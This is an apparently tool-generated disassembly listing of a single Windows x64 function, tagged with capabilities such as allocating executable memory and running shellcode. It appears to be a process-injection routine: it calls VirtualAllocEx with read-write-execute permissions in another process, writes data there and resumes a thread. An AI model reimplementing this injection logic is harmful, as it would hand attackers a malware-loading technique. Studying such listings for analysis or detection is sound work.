Function at 0x140111980
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x378
lea rbp, [rsp + 0x3b0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x300], xmm4
movaps xmmword [rbp - 0x2f0], xmm4
movabs rax, 0xfffffffffffffd60
movaps xmmword [rbp + rax - 0x40], xmm4
movaps xmmword [rbp + rax - 0x30], xmm4
movaps xmmword [rbp + rax - 0x20], xmm4
add rax, 0x30
jne 0x1401119b6
mov rax, qword [0x140cabe40]
mov qword [rbp - 0x40], rax
mov rbx, qword [rbp + 0x30]
mov esi, r9d
mov rdi, r8
mov r14, rdx
mov r15, rcx
mov qword [rbp - 0x310], r15
mov qword [rbp - 0x70], r15
test r15, r15
je 0x140111a00
mov rcx, qword [rbp - 0x70]
cmp dword [rcx + 8], 0
jne 0x140111a05
xor r13d, r13d
jmp 0x140111a1b
mov rcx, qword [rbp - 0x70]
cmp dword [rcx + 8], 0
jbe 0x14011209b
mov r13, qword [rbp - 0x70]
add r13, 0x10
lea rcx, [0x14018a600]
call fcn.1400dd010
mov rdx, rax
mov rcx, r13
call fcn.1400bd0d0
mov r12, rax
lea rdx, [0x14018a600]
cmp qword [r12], rdx
je 0x140111a51
mov rdx, r12
lea rcx, [0x14018a600]
call fcn.1400b84b0
mov r12d, dword [r12 + 0x44]
add r13, r12
lea rcx, [0x14018a648]
call fcn.1400dd010
mov rdx, rax
mov rcx, r13
call fcn.1400bd0d0
mov r12, rax
lea rdx, [0x14018a648]
cmp qword [r12], rdx
je 0x140111a8f
mov rdx, r12
lea rcx, [0x14018a648]
call fcn.1400b84b0
movzx eax, word [r12 + 0xe]
mov r10d, dword [r12 + 0x30]
mov r9, qword [r12 + 0x38]
mov ecx, dword [r12 + 0x58]
mov r12d, dword [r12 + 0x5c]
mov dword [rbp - 0x74], r9d
mov dword [rbp - 0x78], r10d
mov dword [rbp - 0x7c], eax
mov r11d, ecx
mov qword [rbp - 0x88], r11
xorps xmm0, xmm0
movups xmmword [rbp - 0xe8], xmm0
movups xmmword [rbp - 0xd8], xmm0
movups xmmword [rbp - 0xc8], xmm0
movups xmmword [rbp - 0xb8], xmm0
movups xmmword [rbp - 0xa8], xmm0
movups xmmword [rbp - 0x98], xmm0
mov qword [rbp - 0xd8], rbx
mov dword [rbp - 0xb0], 0x60
mov dword [rbp - 0x90], 0x100
xor ecx, ecx
test sil, sil
sete cl
mov word [rbp - 0x8c], cx
test rdi, rdi
je 0x140111b35
cmp dword [rdi + 8], 0
je 0x140111b35
mov rcx, r14
mov r8, rdi
lea rdx, [0x140156790]
call fcn.1400727d0
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x100], xmm0
movups xmmword [rbp - 0xf8], xmm0
call fcn.1400700a0
lea rdx, [rbp - 0xe8]
mov qword [rsp + 0x40], rdx
lea rdx, [rbp - 0x100]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x38], rax
mov rdx, r14
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x28], 4
xor eax, eax
mov qword [rsp + 0x30], rax
call fcn.140111530
mov rbx, qword [rbp - 0x100]
mov rsi, qword [rbp - 0xf8]
mov rcx, rbx
mov rdx, qword [rbp - 0x88]
call fcn.1401117d0
mov dword [rsp + 0x20], 0x40
movsxd r8, dword [rbp - 0x74]
mov qword [rbp - 0x31c], r8
mov rcx, rbx
mov qword [rbp - 0x324], rcx
mov rdx, qword [rbp - 0x88]
mov qword [rbp - 0x32c], rdx
mov r9d, 0x3000
mov dword [rbp - 0x314], r9d
lea rcx, [rbp - 0x358]
call fcn.140003010
mov r8, qword [rbp - 0x31c]
mov rcx, qword [rbp - 0x324]
mov rdx, qword [rbp - 0x32c]
mov r9d, dword [rbp - 0x314]
call sub.KERNEL32.dll_VirtualAllocEx
lea rcx, [rbp - 0x358]
call fcn.140003060
lea rcx, [rbp - 0x2c8]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov rdx, qword [rbp - 0x88]
mov r8, qword [rbp - 0x310]
mov r9d, r12d
call fcn.140111840
xor edi, edi
mov r14d, dword [rbp - 0x7c]
test r14d, r14d
jle 0x140111cab
lea edx, [rdi + rdi*4]
shl edx, 3
movsxd rdx, edx
lea rdx, [r13 + rdx + 0x108]
lea rcx, [rbp - 0x68]
call fcn.1401517a0
xor ecx, ecx
mov qword [rbp - 0x2f0], rcx
lea rcx, [0x140170480]
cmp qword [rcx - 8], 0
jne 0x14011207e
mov rcx, qword [0x140caad10]
mov rcx, qword [rcx + 8]
mov edx, 0x100
cmp dword [rcx], ecx
call fcn.140115c20
mov qword [rbp - 0x2e8], rax
test rax, rax
jne 0x140111cb7
xor ecx, ecx
xor edx, edx
jmp 0x140111cbe
mov r15, qword [rbp - 0x88]
jmp 0x140111edb
lea rcx, [rax + 0x10]
mov edx, dword [rax + 8]
mov qword [rbp - 0x2d8], rcx
mov dword [rbp - 0x2d0], edx
xor ecx, ecx
mov dword [rbp - 0x2e0], ecx
mov byte [rbp - 0x2dc], 0
mov ecx, dword [rbp - 0x2e0]
mov edx, dword [rbp - 0x2d0]
cmp ecx, edx
ja 0x14011208e
mov rax, qword [rbp - 0x2d8]
mov r8d, ecx
lea rax, [rax + r8*2]
sub edx, ecx
cmp edx, 0x11
jb 0x140111d35
lea rcx, [0x140157dd8]
add rcx, 0xc
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x12]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x12], xmm2
mov ecx, dword [rbp - 0x2e0]
add ecx, 0x11
mov dword [rbp - 0x2e0], ecx
jmp 0x140111d48
lea rcx, [rbp - 0x2f0]
lea rdx, [0x140157dd8]
call fcn.1400bbf00
lea rcx, [rbp - 0x2f0]
mov edx, edi
call fcn.140147940
mov ecx, dword [rbp - 0x2e0]
mov edx, dword [rbp - 0x2d0]
cmp ecx, edx
ja 0x14011208e
mov rax, qword [rbp - 0x2d8]
mov r8d, ecx
lea rax, [rax + r8*2]
sub edx, ecx
cmp edx, 5
jb 0x140111da9
lea rcx, [0x1401568e0]
add rcx, 0xc
mov rdx, qword [rcx]
mov r8, qword [rcx + 2]
mov qword [rax], rdx
mov qword [rax + 2], r8
mov ecx, dword [rbp - 0x2e0]
add ecx, 5
mov dword [rbp - 0x2e0], ecx
jmp 0x140111dbc
lea rcx, [rbp - 0x2f0]
lea rdx, [0x1401568e0]
call fcn.1400bbf00
lea rcx, [rbp - 0x68]
call fcn.1400bd040
mov r15, rax
cmp byte [rbp - 0x2dc], 0
jne 0x140111e29
test r15, r15
je 0x140111e29
mov r8d, dword [rbp - 0x2e0]
cmp r8d, dword [rbp - 0x2d0]
ja 0x14011208e
mov rcx, qword [rbp - 0x2d8]
mov edx, r8d
lea rcx, [rcx + rdx*2]
mov edx, dword [rbp - 0x2d0]
sub edx, r8d
cmp dword [r15 + 8], edx
ja 0x140111e29
lea rdx, [r15 + 0xc]
mov r8d, dword [r15 + 8]
add r8, r8
call fcn.14006db60
mov ecx, dword [rbp - 0x2e0]
add ecx, dword [r15 + 8]
mov dword [rbp - 0x2e0], ecx
jmp 0x140111e38
lea rcx, [rbp - 0x2f0]
mov rdx, r15
call fcn.1400bbe60
lea rcx, [rbp - 0x2f0]
call fcn.1400bbdc0
mov rcx, rax
call fcn.14006a2a0
mov r15d, dword [rbp - 0x5c]
mov r12d, dword [rbp - 0x54]
movsxd rdx, dword [rbp - 0x58]
lea rcx, [0x1401b3438]
call fcn.140002ca0
mov r8, rax
mov qword [rbp - 0x308], r8
mov ecx, dword [r8 + 8]
mov dword [rsp + 0x20], ecx
mov rcx, qword [rbp - 0x310]
mov edx, r12d
xor r9d, r9d
call fcn.140075ff0
mov r12, qword [rbp - 0x308]
mov r9d, dword [r12 + 8]
lea rcx, [rbp - 0x2c8]
add r12, 0x10
mov qword [rbp - 0x300], r12
movsxd rdx, r15d
mov r15, qword [rbp - 0x88]
add rdx, r15
mov r8, r12
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call fcn.140112140
xor ecx, ecx
mov qword [rbp - 0x300], rcx
inc edi
movsx rdi, di
cmp edi, r14d
jl 0x140112038
xor ecx, ecx
mov qword [rbp - 0x32c], rcx
lea rcx, [rbp - 0x358]
call fcn.140003010
mov rcx, qword [rbp - 0x32c]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdi, rax
lea rcx, [rbp - 0x358]
call fcn.140003060
test rdi, rdi
je 0x140112088
xor edx, edx
lea rcx, [rbp - 0x2c0]
mov r8d, 0x1c0
call fcn.140066680
mov dword [rbp - 0x290], 0x17
lea rdx, [rbp - 0x2c0]
mov rcx, rsi
call fcn.140111890
mov rcx, r15
call fcn.14007a4b0
mov r8, rax
lea rdx, [rbp - 0x2c8]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rbp - 0x238]
add rdx, 0x10
mov rcx, rbx
mov r9d, 8
call fcn.140111840
movsxd rdx, dword [rbp - 0x78]
add rdx, r15
mov qword [rbp - 0x240], rdx
lea rdx, [rbp - 0x2c0]
mov rcx, rsi
call fcn.140111900
mov rcx, rsi
mov qword [rbp - 0x32c], rcx
lea rcx, [rbp - 0x358]
call fcn.140003010
mov rcx, qword [rbp - 0x32c]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0x358]
call fcn.140003060
mov rcx, rbx
mov qword [rbp - 0x32c], rcx
lea rcx, [rbp - 0x358]
call fcn.140003010
mov rcx, qword [rbp - 0x32c]
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rbp - 0x358]
call fcn.140003060
mov rcx, rsi
mov qword [rbp - 0x32c], rcx
lea rcx, [rbp - 0x358]
call fcn.140003010
mov rcx, qword [rbp - 0x32c]
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rbp - 0x358]
call fcn.140003060
test rbx, rbx
jne 0x14011203d
lea rcx, [0x1401704a8]
cmp qword [rcx - 8], 0
jne 0x140112094
mov rcx, qword [0x140caad90]
mov rax, qword [rcx + 8]
jmp 0x140112054
jmp 0x140111c4d
lea rcx, [0x140196008]
call fcn.140002b80
mov dword [rax + 0x34], 0x1000000
mov qword [rax + 0x38], rbx
lea rcx, [0x140cabe40]
mov rcx, qword [rcx]
cmp qword [rbp - 0x40], rcx
je 0x140112069
call fcn.1400044d0
nop
add rsp, 0x378
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140001c6c
jmp 0x140111c82
call fcn.140087210
int3
call fcn.140086c30
int3
call fcn.140001cec
jmp 0x14011202b
call fcn.1400dd940
int3